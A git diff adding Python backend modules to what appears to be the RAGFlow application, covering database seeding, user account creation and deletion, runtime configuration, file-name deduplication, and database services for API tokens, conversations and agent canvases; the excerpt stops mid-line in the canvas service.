0000000..39b87d0 --- /dev/null +++ b/api/db/init_data.py @@ -0,0 +1,179 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import json +import os +import time +import uuid +from copy import deepcopy + +from api.db import LLMType, UserTenantRole +from api.db.db_models import init_database_tables as init_web_db, LLMFactories, LLM, TenantLLM +from api.db.services import UserService +from api.db.services.canvas_service import CanvasTemplateService +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.tenant_llm_service import LLMFactoriesService, TenantLLMService +from api.db.services.llm_service import LLMService, LLMBundle, get_init_tenant_llm +from api.db.services.user_service import TenantService, UserTenantService +from api import settings +from api.utils.file_utils import get_project_base_directory +from api.common.base64 import encode_to_base64 + + +def init_superuser(): + user_info = { + "id": uuid.uuid1().hex, + "password": encode_to_base64("admin"), + "nickname": "admin", + "is_superuser": True, + "email": "admin@ragflow.io", + "creator": "system", + "status": "1", + } + tenant = { + "id": user_info["id"], + "name": user_info["nickname"] + "‘s Kingdom", + "llm_id": settings.CHAT_MDL, + "embd_id": settings.EMBEDDING_MDL, + "asr_id": settings.ASR_MDL, + "parser_ids": settings.PARSERS, + "img2txt_id": settings.IMAGE2TEXT_MDL + } + usr_tenant = { + "tenant_id": user_info["id"], + "user_id": user_info["id"], + "invited_by": user_info["id"], + "role": UserTenantRole.OWNER + } + + tenant_llm = get_init_tenant_llm(user_info["id"]) + + if not UserService.save(**user_info): + logging.error("can't init admin.") + return + TenantService.insert(**tenant) + UserTenantService.insert(**usr_tenant) + TenantLLMService.insert_many(tenant_llm) + logging.info( + "Super user initialized. email: admin@ragflow.io, password: admin. Changing the password after login is strongly recommended.") + + chat_mdl = LLMBundle(tenant["id"], LLMType.CHAT, tenant["llm_id"]) + msg = chat_mdl.chat(system="", history=[ + {"role": "user", "content": "Hello!"}], gen_conf={}) + if msg.find("ERROR: ") == 0: + logging.error( + "'{}' doesn't work. {}".format( + tenant["llm_id"], + msg)) + embd_mdl = LLMBundle(tenant["id"], LLMType.EMBEDDING, tenant["embd_id"]) + v, c = embd_mdl.encode(["Hello!"]) + if c == 0: + logging.error( + "'{}' doesn't work!".format( + tenant["embd_id"])) + + +def init_llm_factory(): + try: + LLMService.filter_delete([(LLM.fid == "MiniMax" or LLM.fid == "Minimax")]) + LLMService.filter_delete([(LLM.fid == "cohere")]) + LLMFactoriesService.filter_delete([LLMFactories.name == "cohere"]) + except Exception: + pass + + factory_llm_infos = settings.FACTORY_LLM_INFOS + for factory_llm_info in factory_llm_infos: + info = deepcopy(factory_llm_info) + llm_infos = info.pop("llm") + try: + LLMFactoriesService.save(**info) + except Exception: + pass + LLMService.filter_delete([LLM.fid == factory_llm_info["name"]]) + for llm_info in llm_infos: + llm_info["fid"] = factory_llm_info["name"] + try: + LLMService.save(**llm_info) + except Exception: + pass + + LLMFactoriesService.filter_delete([(LLMFactories.name == "Local") | (LLMFactories.name == "novita.ai")]) + LLMService.filter_delete([LLM.fid == "Local"]) + LLMService.filter_delete([LLM.llm_name == "qwen-vl-max"]) + LLMService.filter_delete([LLM.fid == "Moonshot", LLM.llm_name == "flag-embedding"]) + TenantLLMService.filter_delete([TenantLLM.llm_factory == "Moonshot", TenantLLM.llm_name == "flag-embedding"]) + LLMFactoriesService.filter_delete([LLMFactoriesService.model.name == "QAnything"]) + LLMService.filter_delete([LLMService.model.fid == "QAnything"]) + TenantLLMService.filter_update([TenantLLMService.model.llm_factory == "QAnything"], {"llm_factory": "Youdao"}) + TenantLLMService.filter_update([TenantLLMService.model.llm_factory == "cohere"], {"llm_factory": "Cohere"}) + TenantService.filter_update([1 == 1], { + "parser_ids": "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,email:Email,tag:Tag"}) + ## insert openai two embedding models to the current openai user. + # print("Start to insert 2 OpenAI embedding models...") + tenant_ids = set([row["tenant_id"] for row in TenantLLMService.get_openai_models()]) + for tid in tenant_ids: + for row in TenantLLMService.query(llm_factory="OpenAI", tenant_id=tid): + row = row.to_dict() + row["model_type"] = LLMType.EMBEDDING.value + row["llm_name"] = "text-embedding-3-small" + row["used_tokens"] = 0 + try: + TenantLLMService.save(**row) + row = deepcopy(row) + row["llm_name"] = "text-embedding-3-large" + TenantLLMService.save(**row) + except Exception: + pass + break + doc_count = DocumentService.get_all_kb_doc_count() + for kb_id in KnowledgebaseService.get_all_ids(): + KnowledgebaseService.update_document_number_in_init(kb_id=kb_id, doc_num=doc_count.get(kb_id, 0)) + + + +def add_graph_templates(): + dir = os.path.join(get_project_base_directory(), "agent", "templates") + CanvasTemplateService.filter_delete([1 == 1]) + if not os.path.exists(dir): + logging.warning("Missing agent templates!") + return + + for fnm in os.listdir(dir): + try: + cnvs = json.load(open(os.path.join(dir, fnm), "r",encoding="utf-8")) + try: + CanvasTemplateService.save(**cnvs) + except Exception: + CanvasTemplateService.update_by_id(cnvs["id"], cnvs) + except Exception: + logging.exception("Add agent templates error: ") + + +def init_web_data(): + start_time = time.time() + + init_llm_factory() + # if not UserService.get_all().count(): + # init_superuser() + + add_graph_templates() + logging.info("init web data success:{}".format(time.time() - start_time)) + + +if __name__ == '__main__': + init_web_db() + init_web_data() diff --git a/api/db/joint_services/__init__.py b/api/db/joint_services/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/api/db/joint_services/user_account_service.py b/api/db/joint_services/user_account_service.py new file mode 100644 index 0000000..61f23cc --- /dev/null +++ b/api/db/joint_services/user_account_service.py @@ -0,0 +1,327 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import uuid + +from api import settings +from api.utils.api_utils import group_by +from api.db import FileType, UserTenantRole, ActiveEnum +from api.db.services.api_service import APITokenService, API4ConversationService +from api.db.services.canvas_service import UserCanvasService +from api.db.services.conversation_service import ConversationService +from api.db.services.dialog_service import DialogService +from api.db.services.document_service import DocumentService +from api.db.services.file2document_service import File2DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.langfuse_service import TenantLangfuseService +from api.db.services.llm_service import get_init_tenant_llm +from api.db.services.file_service import FileService +from api.db.services.mcp_server_service import MCPServerService +from api.db.services.search_service import SearchService +from api.db.services.task_service import TaskService +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.user_canvas_version import UserCanvasVersionService +from api.db.services.user_service import TenantService, UserService, UserTenantService +from rag.utils.storage_factory import STORAGE_IMPL +from rag.nlp import search + + +def create_new_user(user_info: dict) -> dict: + """ + Add a new user, and create tenant, tenant llm, file folder for new user. + :param user_info: { + "email": , + "nickname": , + "password": , + "login_channel": , + "is_superuser": , + } + :return: { + "success": , + "user_info": , # if true, return user_info + } + """ + # generate user_id and access_token for user + user_id = uuid.uuid1().hex + user_info['id'] = user_id + user_info['access_token'] = uuid.uuid1().hex + # construct tenant info + tenant = { + "id": user_id, + "name": user_info["nickname"] + "‘s Kingdom", + "llm_id": settings.CHAT_MDL, + "embd_id": settings.EMBEDDING_MDL, + "asr_id": settings.ASR_MDL, + "parser_ids": settings.PARSERS, + "img2txt_id": settings.IMAGE2TEXT_MDL, + "rerank_id": settings.RERANK_MDL, + } + usr_tenant = { + "tenant_id": user_id, + "user_id": user_id, + "invited_by": user_id, + "role": UserTenantRole.OWNER, + } + # construct file folder info + file_id = uuid.uuid1().hex + file = { + "id": file_id, + "parent_id": file_id, + "tenant_id": user_id, + "created_by": user_id, + "name": "/", + "type": FileType.FOLDER.value, + "size": 0, + "location": "", + } + try: + tenant_llm = get_init_tenant_llm(user_id) + + if not UserService.save(**user_info): + return {"success": False} + + TenantService.insert(**tenant) + UserTenantService.insert(**usr_tenant) + TenantLLMService.insert_many(tenant_llm) + FileService.insert(file) + + return { + "success": True, + "user_info": user_info, + } + + except Exception as create_error: + logging.exception(create_error) + # rollback + try: + TenantService.delete_by_id(user_id) + except Exception as e: + logging.exception(e) + try: + u = UserTenantService.query(tenant_id=user_id) + if u: + UserTenantService.delete_by_id(u[0].id) + except Exception as e: + logging.exception(e) + try: + TenantLLMService.delete_by_tenant_id(user_id) + except Exception as e: + logging.exception(e) + try: + FileService.delete_by_id(file["id"]) + except Exception as e: + logging.exception(e) + # delete user row finally + try: + UserService.delete_by_id(user_id) + except Exception as e: + logging.exception(e) + # reraise + raise create_error + + +def delete_user_data(user_id: str) -> dict: + # use user_id to delete + usr = UserService.filter_by_id(user_id) + if not usr: + return {"success": False, "message": f"{user_id} can't be found."} + # check is inactive and not admin + if usr.is_active == ActiveEnum.ACTIVE.value: + return {"success": False, "message": f"{user_id} is active and can't be deleted."} + if usr.is_superuser: + return {"success": False, "message": "Can't delete the super user."} + # tenant info + tenants = UserTenantService.get_user_tenant_relation_by_user_id(usr.id) + owned_tenant = [t for t in tenants if t["role"] == UserTenantRole.OWNER.value] + + done_msg = '' + try: + # step1. delete owned tenant info + if owned_tenant: + done_msg += "Start to delete owned tenant.\n" + tenant_id = owned_tenant[0]["tenant_id"] + kb_ids = KnowledgebaseService.get_kb_ids(usr.id) + # step1.1 delete knowledgebase related file and info + if kb_ids: + # step1.1.1 delete files in storage, remove bucket + for kb_id in kb_ids: + if STORAGE_IMPL.bucket_exists(kb_id): + STORAGE_IMPL.remove_bucket(kb_id) + done_msg += f"- Removed {len(kb_ids)} dataset's buckets.\n" + # step1.1.2 delete file and document info in db + doc_ids = DocumentService.get_all_doc_ids_by_kb_ids(kb_ids) + if doc_ids: + doc_delete_res = DocumentService.delete_by_ids([i["id"] for i in doc_ids]) + done_msg += f"- Deleted {doc_delete_res} document records.\n" + task_delete_res = TaskService.delete_by_doc_ids([i["id"] for i in doc_ids]) + done_msg += f"- Deleted {task_delete_res} task records.\n" + file_ids = FileService.get_all_file_ids_by_tenant_id(usr.id) + if file_ids: + file_delete_res = FileService.delete_by_ids([f["id"] for f in file_ids]) + done_msg += f"- Deleted {file_delete_res} file records.\n" + if doc_ids or file_ids: + file2doc_delete_res = File2DocumentService.delete_by_document_ids_or_file_ids( + [i["id"] for i in doc_ids], + [f["id"] for f in file_ids] + ) + done_msg += f"- Deleted {file2doc_delete_res} document-file relation records.\n" + # step1.1.3 delete chunk in es + r = settings.docStoreConn.delete({"kb_id": kb_ids}, + search.index_name(tenant_id), kb_ids) + done_msg += f"- Deleted {r} chunk records.\n" + kb_delete_res = KnowledgebaseService.delete_by_ids(kb_ids) + done_msg += f"- Deleted {kb_delete_res} knowledgebase records.\n" + # step1.1.4 delete agents + agent_delete_res = delete_user_agents(usr.id) + done_msg += f"- Deleted {agent_delete_res['agents_deleted_count']} agent, {agent_delete_res['version_deleted_count']} versions records.\n" + # step1.1.5 delete dialogs + dialog_delete_res = delete_user_dialogs(usr.id) + done_msg += f"- Deleted {dialog_delete_res['dialogs_deleted_count']} dialogs, {dialog_delete_res['conversations_deleted_count']} conversations, {dialog_delete_res['api_token_deleted_count']} api tokens, {dialog_delete_res['api4conversation_deleted_count']} api4conversations.\n" + # step1.1.6 delete mcp server + mcp_delete_res = MCPServerService.delete_by_tenant_id(usr.id) + done_msg += f"- Deleted {mcp_delete_res} MCP server.\n" + # step1.1.7 delete search + search_delete_res = SearchService.delete_by_tenant_id(usr.id) + done_msg += f"- Deleted {search_delete_res} search records.\n" + # step1.2 delete tenant_llm and tenant_langfuse + llm_delete_res = TenantLLMService.delete_by_tenant_id(tenant_id) + done_msg += f"- Deleted {llm_delete_res} tenant-LLM records.\n" + langfuse_delete_res = TenantLangfuseService.delete_ty_tenant_id(tenant_id) + done_msg += f"- Deleted {langfuse_delete_res} langfuse records.\n" + # step1.3 delete own tenant + tenant_delete_res = TenantService.delete_by_id(tenant_id) + done_msg += f"- Deleted {tenant_delete_res} tenant.\n" + # step2 delete user-tenant relation + if tenants: + # step2.1 delete docs and files in joined team + joined_tenants = [t for t in tenants if t["role"] == UserTenantRole.NORMAL.value] + if joined_tenants: + done_msg += "Start to delete data in joined tenants.\n" + created_documents = DocumentService.get_all_docs_by_creator_id(usr.id) + if created_documents: + # step2.1.1 delete files + doc_file_info = File2DocumentService.get_by_document_ids([d['id'] for d in created_documents]) + created_files = FileService.get_by_ids([f['file_id'] for f in doc_file_info]) + if created_files: + # step2.1.1.1 delete file in storage + for f in created_files: + STORAGE_IMPL.rm(f.parent_id, f.location) + done_msg += f"- Deleted {len(created_files)} uploaded file.\n" + # step2.1.1.2 delete file record + file_delete_res = FileService.delete_by_ids([f.id for f in created_files]) + done_msg += f"- Deleted {file_delete_res} file records.\n" + # step2.1.2 delete document-file relation record + file2doc_delete_res = File2DocumentService.delete_by_document_ids_or_file_ids( + [d['id'] for d in created_documents], + [f.id for f in created_files] + ) + done_msg += f"- Deleted {file2doc_delete_res} document-file relation records.\n" + # step2.1.3 delete chunks + doc_groups = group_by(created_documents, "tenant_id") + kb_grouped_doc = {k: group_by(v, "kb_id") for k, v in doc_groups.items()} + # chunks in {'tenant_id': {'kb_id': [{'id': doc_id}]}} structure + chunk_delete_res = 0 + kb_doc_info = {} + for _tenant_id, kb_doc in kb_grouped_doc.items(): + for _kb_id, docs in kb_doc.items(): + chunk_delete_res += settings.docStoreConn.delete( + {"doc_id": [d["id"] for d in docs]}, + search.index_name(_tenant_id), _kb_id + ) + # record doc info + if _kb_id in kb_doc_info.keys(): + kb_doc_info[_kb_id]['doc_num'] += 1 + kb_doc_info[_kb_id]['token_num'] += sum([d["token_num"] for d in docs]) + kb_doc_info[_kb_id]['chunk_num'] += sum([d["chunk_num"] for d in docs]) + else: + kb_doc_info[_kb_id] = { + 'doc_num': 1, + 'token_num': sum([d["token_num"] for d in docs]), + 'chunk_num': sum([d["chunk_num"] for d in docs]) + } + done_msg += f"- Deleted {chunk_delete_res} chunks.\n" + # step2.1.4 delete tasks + task_delete_res = TaskService.delete_by_doc_ids([d['id'] for d in created_documents]) + done_msg += f"- Deleted {task_delete_res} tasks.\n" + # step2.1.5 delete document record + doc_delete_res = DocumentService.delete_by_ids([d['id'] for d in created_documents]) + done_msg += f"- Deleted {doc_delete_res} documents.\n" + # step2.1.6 update knowledge base doc&chunk&token cnt + for kb_id, doc_num in kb_doc_info.items(): + KnowledgebaseService.decrease_document_num_in_delete(kb_id, doc_num) + + # step2.2 delete relation + user_tenant_delete_res = UserTenantService.delete_by_ids([t["id"] for t in tenants]) + done_msg += f"- Deleted {user_tenant_delete_res} user-tenant records.\n" + # step3 finally delete user + user_delete_res = UserService.delete_by_id(usr.id) + done_msg += f"- Deleted {user_delete_res} user.\nDelete done!" + + return {"success": True, "message": f"Successfully deleted user. Details:\n{done_msg}"} + + except Exception as e: + logging.exception(e) + return {"success": False, "message": f"Error: {str(e)}. Already done:\n{done_msg}"} + + +def delete_user_agents(user_id: str) -> dict: + """ + use user_id to delete + :return: { + "agents_deleted_count": 1, + "version_deleted_count": 2 + } + """ + agents_deleted_count, agents_version_deleted_count = 0, 0 + user_agents = UserCanvasService.get_all_agents_by_tenant_ids([user_id], user_id) + if user_agents: + agents_version = UserCanvasVersionService.get_all_canvas_version_by_canvas_ids([a['id'] for a in user_agents]) + agents_version_deleted_count = UserCanvasVersionService.delete_by_ids([v['id'] for v in agents_version]) + agents_deleted_count = UserCanvasService.delete_by_ids([a['id'] for a in user_agents]) + return { + "agents_deleted_count": agents_deleted_count, + "version_deleted_count": agents_version_deleted_count + } + + +def delete_user_dialogs(user_id: str) -> dict: + """ + use user_id to delete + :return: { + "dialogs_deleted_count": 1, + "conversations_deleted_count": 1, + "api_token_deleted_count": 2, + "api4conversation_deleted_count": 2 + } + """ + dialog_deleted_count, conversations_deleted_count, api_token_deleted_count, api4conversation_deleted_count = 0, 0, 0, 0 + user_dialogs = DialogService.get_all_dialogs_by_tenant_id(user_id) + if user_dialogs: + # delete conversation + conversations = ConversationService.get_all_conversation_by_dialog_ids([ud['id'] for ud in user_dialogs]) + conversations_deleted_count = ConversationService.delete_by_ids([c['id'] for c in conversations]) + # delete api token + api_token_deleted_count = APITokenService.delete_by_tenant_id(user_id) + # delete api for conversation + api4conversation_deleted_count = API4ConversationService.delete_by_dialog_ids([ud['id'] for ud in user_dialogs]) + # delete dialog at last + dialog_deleted_count = DialogService.delete_by_ids([ud['id'] for ud in user_dialogs]) + return { + "dialogs_deleted_count": dialog_deleted_count, + "conversations_deleted_count": conversations_deleted_count, + "api_token_deleted_count": api_token_deleted_count, + "api4conversation_deleted_count": api4conversation_deleted_count + } diff --git a/api/db/reload_config_base.py b/api/db/reload_config_base.py new file mode 100644 index 0000000..be37afc --- /dev/null +++ b/api/db/reload_config_base.py @@ -0,0 +1,28 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class ReloadConfigBase: + @classmethod + def get_all(cls): + configs = {} + for k, v in cls.__dict__.items(): + if not callable(getattr(cls, k)) and not k.startswith( + "__") and not k.startswith("_"): + configs[k] = v + return configs + + @classmethod + def get(cls, config_name): + return getattr(cls, config_name) if hasattr(cls, config_name) else None diff --git a/api/db/runtime_config.py b/api/db/runtime_config.py new file mode 100644 index 0000000..e3e0fb7 --- /dev/null +++ b/api/db/runtime_config.py @@ -0,0 +1,54 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from api.versions import get_ragflow_version +from .reload_config_base import ReloadConfigBase + + +class RuntimeConfig(ReloadConfigBase): + DEBUG = None + WORK_MODE = None + HTTP_PORT = None + JOB_SERVER_HOST = None + JOB_SERVER_VIP = None + ENV = dict() + SERVICE_DB = None + LOAD_CONFIG_MANAGER = False + + @classmethod + def init_config(cls, **kwargs): + for k, v in kwargs.items(): + if hasattr(cls, k): + setattr(cls, k, v) + + @classmethod + def init_env(cls): + cls.ENV.update({"version": get_ragflow_version()}) + + @classmethod + def load_config_manager(cls): + cls.LOAD_CONFIG_MANAGER = True + + @classmethod + def get_env(cls, key): + return cls.ENV.get(key, None) + + @classmethod + def get_all_env(cls): + return cls.ENV + + @classmethod + def set_service_db(cls, service_db): + cls.SERVICE_DB = service_db diff --git a/api/db/services/__init__.py b/api/db/services/__init__.py new file mode 100644 index 0000000..ce93791 --- /dev/null +++ b/api/db/services/__init__.py @@ -0,0 +1,99 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import re +from pathlib import PurePath + +from .user_service import UserService as UserService + + +def _split_name_counter(filename: str) -> tuple[str, int | None]: + """ + Splits a filename into main part and counter (if present in parentheses). + + Args: + filename: Input filename string to be parsed + + Returns: + A tuple containing: + - The main filename part (string) + - The counter from parentheses (integer) or None if no counter exists + """ + pattern = re.compile(r"^(.*?)\((\d+)\)$") + + match = pattern.search(filename) + if match: + main_part = match.group(1).rstrip() + bracket_part = match.group(2) + return main_part, int(bracket_part) + + return filename, None + + +def duplicate_name(query_func, **kwargs) -> str: + """ + Generates a unique filename by appending/incrementing a counter when duplicates exist. + + Continuously checks for name availability using the provided query function, + automatically appending (1), (2), etc. until finding an available name or + reaching maximum retries. + + Args: + query_func: Callable that accepts keyword arguments and returns: + - True if name exists (should be modified) + - False if name is available + **kwargs: Must contain 'name' key with original filename to check + + Returns: + str: Available filename, either: + - Original name (if available) + - Modified name with counter (e.g., "file(1).txt") + + Raises: + KeyError: If 'name' key not provided in kwargs + RuntimeError: If unable to generate unique name after maximum retries + + Example: + >>> def name_exists(name): return name in existing_files + >>> duplicate_name(name_exists, name="document.pdf") + 'document(1).pdf' # If original exists + """ + MAX_RETRIES = 1000 + + if "name" not in kwargs: + raise KeyError("Arguments must contain 'name' key") + + original_name = kwargs["name"] + current_name = original_name + retries = 0 + + while retries < MAX_RETRIES: + if not query_func(**kwargs): + return current_name + + path = PurePath(current_name) + stem = path.stem + suffix = path.suffix + + main_part, counter = _split_name_counter(stem) + counter = counter + 1 if counter else 1 + + new_name = f"{main_part}({counter}){suffix}" + + kwargs["name"] = new_name + current_name = new_name + retries += 1 + + raise RuntimeError(f"Failed to generate unique name within {MAX_RETRIES} attempts. Original: {original_name}") diff --git a/api/db/services/api_service.py b/api/db/services/api_service.py new file mode 100644 index 0000000..9a23547 --- /dev/null +++ b/api/db/services/api_service.py @@ -0,0 +1,112 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from datetime import datetime + +import peewee + +from api.db.db_models import DB, API4Conversation, APIToken, Dialog +from api.db.services.common_service import CommonService +from api.utils import current_timestamp, datetime_format + + +class APITokenService(CommonService): + model = APIToken + + @classmethod + @DB.connection_context() + def used(cls, token): + return cls.model.update({ + "update_time": current_timestamp(), + "update_date": datetime_format(datetime.now()), + }).where( + cls.model.token == token + ) + + @classmethod + @DB.connection_context() + def delete_by_tenant_id(cls, tenant_id): + return cls.model.delete().where(cls.model.tenant_id == tenant_id).execute() + + +class API4ConversationService(CommonService): + model = API4Conversation + + @classmethod + @DB.connection_context() + def get_list(cls, dialog_id, tenant_id, + page_number, items_per_page, + orderby, desc, id, user_id=None, include_dsl=True, keywords="", + from_date=None, to_date=None + ): + if include_dsl: + sessions = cls.model.select().where(cls.model.dialog_id == dialog_id) + else: + fields = [field for field in cls.model._meta.fields.values() if field.name != 'dsl'] + sessions = cls.model.select(*fields).where(cls.model.dialog_id == dialog_id) + if id: + sessions = sessions.where(cls.model.id == id) + if user_id: + sessions = sessions.where(cls.model.user_id == user_id) + if keywords: + sessions = sessions.where(peewee.fn.LOWER(cls.model.message).contains(keywords.lower())) + if from_date: + sessions = sessions.where(cls.model.create_date >= from_date) + if to_date: + sessions = sessions.where(cls.model.create_date <= to_date) + if desc: + sessions = sessions.order_by(cls.model.getter_by(orderby).desc()) + else: + sessions = sessions.order_by(cls.model.getter_by(orderby).asc()) + count = sessions.count() + sessions = sessions.paginate(page_number, items_per_page) + + return count, list(sessions.dicts()) + + @classmethod + @DB.connection_context() + def append_message(cls, id, conversation): + cls.update_by_id(id, conversation) + return cls.model.update(round=cls.model.round + 1).where(cls.model.id == id).execute() + + @classmethod + @DB.connection_context() + def stats(cls, tenant_id, from_date, to_date, source=None): + if len(to_date) == 10: + to_date += " 23:59:59" + return cls.model.select( + cls.model.create_date.truncate("day").alias("dt"), + peewee.fn.COUNT( + cls.model.id).alias("pv"), + peewee.fn.COUNT( + cls.model.user_id.distinct()).alias("uv"), + peewee.fn.SUM( + cls.model.tokens).alias("tokens"), + peewee.fn.SUM( + cls.model.duration).alias("duration"), + peewee.fn.AVG( + cls.model.round).alias("round"), + peewee.fn.SUM( + cls.model.thumb_up).alias("thumb_up") + ).join(Dialog, on=((cls.model.dialog_id == Dialog.id) & (Dialog.tenant_id == tenant_id))).where( + cls.model.create_date >= from_date, + cls.model.create_date <= to_date, + cls.model.source == source + ).group_by(cls.model.create_date.truncate("day")).dicts() + + @classmethod + @DB.connection_context() + def delete_by_dialog_ids(cls, dialog_ids): + return cls.model.delete().where(cls.model.dialog_id.in_(dialog_ids)).execute() diff --git a/api/db/services/canvas_service.py b/api/db/services/canvas_service.py new file mode 100644 index 0000000..f72c6f9 --- /dev/null +++ b/api/db/services/canvas_service.py @@ -0,0 +1,350 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import time +from uuid import uuid4 +from agent.canvas import Canvas +from api.db import CanvasCategory, TenantPermission +from api.db.db_models import DB, CanvasTemplate, User, UserCanvas, API4Conversation +from api.db.services.api_service import API4ConversationService +from api.db.services.common_service import CommonService +from api.utils import get_uuid +from api.utils.api_utils import get_data_openai +import tiktoken +from peewee import fn + + +class CanvasTemplateService(CommonService): + model = CanvasTemplate + +class DataFlowTemplateService(CommonService): + """ + Alias of CanvasTemplateService + """ + model = CanvasTemplate + + +class UserCanvasService(CommonService): + model = UserCanvas + + @classmethod + @DB.connection_context() + def get_list(cls, tenant_id, + page_number, items_per_page, orderby, desc, id, title, canvas_category=CanvasCategory.Agent): + agents = cls.model.select() + if id: + agents = agents.where(cls.model.id == id) + if title: + agents = agents.where(cls.model.title == title) + agents = agents.where(cls.model.user_id == tenant_id) + agents = agents.where(cls.model.canvas_category == canvas_category) + if desc: + agents = agents.order_by(cls.model.getter_by(orderby).desc()) + else: + agents = agents.order_by(cls.model.getter_by(orderby).asc()) + + agents = agents.paginate(page_number, items_per_page) + + return list(agents.dicts()) + + @classmethod + @DB.connection_context() + def get_all_agents_by_tenant_ids(cls, tenant_ids, user_id): + # will get all permitted agents, be cautious + fields = [ + cls.model.id, + cls.model.title, + cls.model.permission, + cls.model.canvas_type, + cls.model.canvas_category + ] + # find team agents and owned agents + agents = cls.model.select(*fields).where( + (cls.model.user_id.in_(tenant_ids) & (cls.model.permission == TenantPermission.TEAM.value)) | ( + cls.model.user_id == user_id + ) + ) + # sort by create_time, asc + agents.order_by(cls.model.create_time.asc()) + # maybe cause slow query by deep paginate, optimize later + offset, limit = 0, 50 + res = [] + while True: + ag_batch = agents.offset(offset).limit(limit) + _temp = list(ag_batch.dicts()) + if not _temp: + break + res.extend(_temp) + offset += limit + return res + + @classmethod + @DB.connection_context() + def get_by_canvas_id(cls, pid): + try: + + fields = [ + cls.model.id, + cls.model.avatar, + cls.model.title, + cls.model.dsl, + cls.model.description, + cls.model.permission, + cls.model.update_time, + cls.model.user_id, + cls.model.create_time, + cls.model.create_date, + cls.model.update_date, + cls.model.canvas_category, + User.nickname, + User.avatar.alias('tenant_avatar'), + ] + agents = cls.model.select(*fields) \ + .join(User, on=(cls.model.user_id == User.id)) \ + .where(cls.model.id == pid) + # obj = cls.model.query(id=pid)[0] + return True, agents.dicts()[0] + except Exception as e: + logging.exception(e) + return False, None + + @classmethod + @DB.connection_context() + def get_by_tenant_ids(cls, joined_tenant_ids, user_id, + page_number, items_per_page, + orderby, desc, keywords, canvas_category=None + ): + fields = [ + cls.model.id, + cls.model.avatar, + cls.model.title, + cls.model.dsl, + cls.model.description, + cls.model.permission, + cls.model.user_id.alias("tenant_id"), + User.nickname, + User.avatar.alias('tenant_avatar'), + cls.model.update_time, + cls.model.canvas_category, + ] + if keywords: + agents = cls.model.select(*fields).join(User, on=(cls.model.user_id == User.id)).where( + cls.model.user_id.in_(joined_tenant_ids), + fn.LOWER(cls.model.title).contains(keywords.lower()) + #(((cls.model.user_id.in_(joined_tenant_ids)) & (cls.model.permission == TenantPermission.TEAM.value)) | (cls.model.user_id == user_id)), + #(fn.LOWER(cls.model.title).contains(keywords.lower())) + ) + else: + agents = cls.model.select(*fields).join(User, on=(cls.model.user_id == User.id)).where( + cls.model.user_id.in_(joined_tenant_ids) + #(((cls.model.user_id.in_(joined_tenant_ids)) & (cls.model.permission == TenantPermission.TEAM.value)) | (cls.model.user_id == user_id)) + ) + if canvas_category: + agents = agents.where(cls.model.canvas_category == canvas_category) + if desc: + agents = agents.order_by(cls.model.getter_by(orderby).desc()) + else: + agents = agents.order_by(cls.model.getter_by(orderby).asc()) + + count = agents.count() + if page_number and items_per_page: + agents = agents.paginate(page_number, items_per_page) + return list(agents.dicts()), count + + @classmethod + @DB.connection_context() + def accessible(cls, canvas_id, tenant_id): + from 